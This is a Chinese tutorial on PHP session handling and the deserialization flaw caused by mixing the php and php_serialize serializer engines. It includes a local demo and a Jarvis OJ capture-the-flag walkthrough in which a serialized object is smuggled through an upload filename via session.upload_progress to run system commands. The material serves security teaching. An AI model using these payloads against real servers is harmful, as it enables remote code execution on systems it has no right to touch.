在计算机中尤其是在网络应用中称为“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。这样当用户在应用程序的Web页之间跳转时存储在Session对象中的变量将不会丢失而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web页时如果该用户还没有会话则Web服务器将自动创建一个 Session对象。当会话过期或被放弃后服务器将终止该会话。Session 对象最常见的一个用法就是存储用户的首选项。例如如果用户指明不喜欢查看图形就可以将该信息存储在Session对象中。不过不同语言的会话机制可能有所不同。

PHP session

可以看做是一个特殊的变量且该变量是用于存储关于用户会话的信息或者更改用户会话的设置需要注意的是PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别所以session 的安全性相对较高。

session的工作流程

当第一次访问网站时Session_start()函数就会创建一个唯一的Session ID并自动通过HTTP的响应头将这个Session ID保存到客户端Cookie中。同时也在服务器端创建一个以Session ID命名的文件用于保存这个用户的会话信息。当同一个用户再次访问这个网站时也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来这时Session_start()函数就不会再去分配一个新的Session ID而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件将这之前为这个用户保存的会话信息读出在当前脚本中应用达到跟踪这个用户的目的。

seesion_start()的作用:

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据即session文件 PHP 会自动反序列化session文件的内容并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID则创建一个由32个字母组成的PHPSESSID并返回set-cookie。

php.ini中一些Session配置

  1. session.save_path="" --设置session的存储路径
  2. session.save_handler=""--设定用户自定义存储函数如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
  3. session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
  4. session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php

常见的php-session存放位置有:

  1. /var/lib/php5/sess_PHPSESSID
  2. /var/lib/php7/sess_PHPSESSID
  3. /var/lib/php/sess_PHPSESSID
  4. /tmp/sess_PHPSESSID
  5. /tmp/sessions/sess_PHPSESSED
  6. 在php.ini里查找session.save_path,也可以在这里更改路径 session.serialize_handler定义的引擎有三种,如下表所示:
处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

注:自 PHP 5.5.4 起可以使用 _phpserialize

上述三种处理器中php_serialize在内部简单地直接使用 serialize/unserialize函数并且不会有php和 php_binary所具有的限制。 使用较旧的序列化处理器导致$_SESSION 的索引既不能是数字也不能包含特殊字符(| 和 !) 。

查看版本注意在php 5.5.4以前默认选择的是php5.5.4之后就是php_serialize,这里面是php_serialize,同时意识到 在index界面的时候设置选择的是php因此可能会造成漏洞

下面我们实例来看看三种不同处理器序列化后的结果。

<?php
ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

比如这里我get进去一个值为abc,查看一下各个存储格式:

  • php : lemon|s:3:"abc";
  • php_serialize : a:1:{s:5:"lemon";s:3:"abc";}
  • php_binary : lemons:3:"abc";

其实PHP中的Session的实现是没有的问题危害主要是由于程序员的Session使用不当而引起的。如使用不同引擎来处理session文件。

6.2 漏洞造成原理

当php_serialize处理器处理接收sessionphp处理器处理session时便会造成反序列化的可利用因为php处理器是有一个|间隔符当php_serialize处理器传入时在序列化字符串前加上||O:7:"xiaoxin":1:&#123;s:4:"name";s:9:"eagleslab";}"

此时session值为a:1:&#123;s:7:"session";s:44:"|O:9:"eagleslab:1:&#123;s:4:"name";s:9:"eagleslab";}";}当php处理器处理时会把|当作间隔符取出后面的值去反序列化即是我们构造的payload|O:9:"eagleslab:1:&#123;s:4:"name";s:9:"eagleslab";}"

简单实例

session.php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

class.php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class TestObject{
    public $name = "未反序列化";
    function __wakeup(){
        echo "Who are you?";
    }
    function __destruct(){
        echo '<br>'.$this->name;
    }
}
$str = new TestObject();
?>

这两个文件作用很清晰他们的php处理器不一样session.php用于接收get请求的session值class.php反序列前会输出“未反序列化”反序列化后会输出name值这里我们构造|加序列化字符使class输出name值则说明反序列化成功

先访问session.php,看看自动获取的session

a:1:{s:7:"session";N;}

构造payload

<?php
class TestObject{
    public $name = "payload";
}

$o = new TestObject();
echo serialize($o);
?>

// O:10:"TestObject":1:{s:4:"name";s:7:"payload";}

使用payload

image-20240412105737501

发现session中的内容已经发生改变

a:1:{s:7:"session";s:48:"|O:10:"TestObject":1:{s:4:"name";s:7:"payload";}";}

直接访问class.php就会成功执行反序列化漏洞

image-20240412105742240

6.3 [Jarvis OJ] PHPINFO

部署环境

docker run -d -p 80:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:ojphpinfo

PHP 在 5.5.4 版本之后默认将 session.serialize_handler而在这里却将 session.serialize_handler 设置成了 php通过 phpinfo 查看相应条目也能看到),所以有这个漏洞。

image-20240412105748511

再结合 OowoO 这个析构函数里会执行 mdzz 这个字符串,所以我们可以构造一个 OowoO然后利用漏洞达到执行任何指令的目的。

但是现在问题在于,如何将我们构造的 OowoO 存储到 session 里。答案在 session.upload_progress.enabled 这个选项里,通过查阅官方文档得知,可以构造上传达到存信息到 session 里,文档里有个例子

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

则 session 里存储的为

<?php
  $_SESSION["upload_progress_123"] = array(
    "start_time" => 1234567890,   // The request time
    "content_length" => 57343257, // POST content length
    "bytes_processed" => 453489,  // Amount of bytes received and processed
    "done" => false,              // true when the POST handler has finished, successfully or not
    "files" => array(
      0 => array(
        "field_name" => "file1",       // Name of the <input/> field
        // The following 3 elements equals those in $_FILES
        "name" => "foo.avi",
        "tmp_name" => "/tmp/phpxxxxxx",
        "error" => 0,
        "done" => true,                // True when the POST handler has finished handling this file
        "start_time" => 1234567890,    // When this file has started to be processed
        "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
      ),
      // An other file, not finished uploading, in the same request
      1 => array(
        "field_name" => "file2",
        "name" => "bar.avi",
        "tmp_name" => NULL,
        "error" => 0,
        "done" => false,
        "start_time" => 1234567899,
        "bytes_processed" => 54554,
      ),
    )
  );

6.3.1 upload_process机制

当一个上传在处理中同时POST一个与INI中设置的session.upload_progress.name同名变量时当PHP检测到这种POST请求时它会在$_SESSION中添加一组数据。所以可以通过PHP_SESSION_UPLOAD_PROGRESS来设置session。

6.3.2 利用方法

序列化一个 OowoO 为 O:5:"OowoO":1:&#123;s:4:"mdzz";s:31:"print(system("ls /opt/lampp/htdocs/"))";}然后将其作为文件名构造提交。但是文件名一般不支持这些特殊字符所以得用一些手段BurpSuite 来抓包并修改文件名。

编写一个 html 文件用于上传文件

<form action="http://192.168.173.66/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

然后随便上传一个文件BP 抓包后修改上传的文件名为(双引号转义是因为 HTTP 报文包里 filename 的值是用 " 来包裹的)

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

image-20240412105757160

这样子构造数据包查看返回包就能看到反序列化后的内容,这里引用大佬文章的图片,本地搭建没复现成功,但是这个思路是可以参考学习的

image-20250619145950421